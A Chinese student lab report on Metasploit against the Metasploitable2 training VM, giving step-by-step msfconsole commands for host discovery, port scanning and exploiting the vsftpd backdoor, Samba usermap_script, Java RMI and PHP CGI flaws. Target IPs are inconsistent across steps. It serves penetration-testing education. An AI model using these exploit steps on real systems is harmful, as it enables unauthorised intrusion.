1、实验内容
本实践目标是掌握metasploit的用法。
指导书参考Rapid7官网的指导教程。
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/
下载官方靶机Metasploitable2,完成下面实验内容。
(1)前期渗透
①主机发现(可用Aux中的arp_sweep,search一下就可以use)
②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
③选做:也可以扫系统版本、漏洞等。
(2)Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
利用步骤:
在kali中执行msfconsole 启动metasploit
use exploit/unix/ftp/vsftpd_234_backdoor 选择漏洞
set RHOST XX.xx.xx.xx 设置要攻击的机器IP(靶机IP)
exploit/run 开始攻击
利用成功
执行uname –a、 pwd、 id等命令 验证
(3)SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
利用步骤:
use exploit/multi/samba/usermap_script 选择漏洞
set RHOST ip 设置要攻击的机器IP
exploit 开始攻击
利用成功 执行uname–a验证
(4)Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
操作步骤:
首先查看1099端口是否打开。
然后在MSF中:
use exploit/multi/misc/java_rmi_server
show options 查看配置参数
set RHOST (靶机IP)
exploit/run
sessions -i id
shell (进入meterpreter时,使用whoami验证下)
(5)PHP CGI参数执行注入漏洞(80端口)
2、实验过程
2.1前期渗透
2.1.1主机发现
首先,打开靶机,查看ip
可以看到靶机ip是192.168.15.147
切入到kali,进入msf框架
进入arp_sweep模块
use 0
set RHOSTS 192.168.26.0/24
set THREADS 30 //设置线程数
run
可以看到我们的靶机处于活跃状态
2.1.2端口扫描
使用msf辅助模块portscan来探测靶机的开放端口
输入命令
set RHOST 192.168.197.136
set THREADS 10
show options
run
我们可以看到靶机开放了22、23、21等这些端口
2.2.Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
利用步骤:
在kali中执行msfconsole 启动metasploit
use exploit/unix/ftp/vsftpd_234_backdoor 选择漏洞
set RHOST 192.168.15.147(靶机IP)
exploit/run 开始攻击
利用成功 执行uname–a验证
2.3SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
利用步骤:
use exploit/multi/samba/usermap_script 选择漏洞
set RHOST 192.168.15.147 设置要攻击的机器IP
run 开始攻击
利用成功 执行uname–a验证
2.4Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
操作步骤:
首先查看1099端口是否打开。
search portscan
Use 5
set RHOSTS 192.168.15.147
set ports 1-65535
run
在第13行中我们可以看到1099端口已经打开
然后在MSF中:
use exploit/multi/misc/java_rmi_server
show options 查看配置参数
set RHOST 192.168.15.147
exploit/run
sessions -i 1
shell (进入meterpreter时,使用whoami验证下)
攻击成功
2.5PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
在kali中执行msfconsole,启动metasploit
use exploit/multi/http/php_cgi_arg_injection 选择漏洞
set RHOST 192.168.15.147设置要攻击的机器IP
exploit/run 开始攻击
3.问题及解决方案
此次实验相当顺利,没有遇到问题
4.学习感悟和思考
此次实验通过利用靶机的多种端口漏洞实现攻击,来获取靶机的权限。在这次的渗透测试实验中,我深入了解并实践了Metasploit框架的基本使用,包括主机发现、端口扫描、漏洞利用等各个方面,尤其是如何在Metasploitable2靶机上运用具体的漏洞进行渗透。整个实验不仅帮助我理解了渗透测试的基本流程,还加深了我对各种常见漏洞的理解及其利用方式。以下是我在实验过程中积累的几点体会和感悟。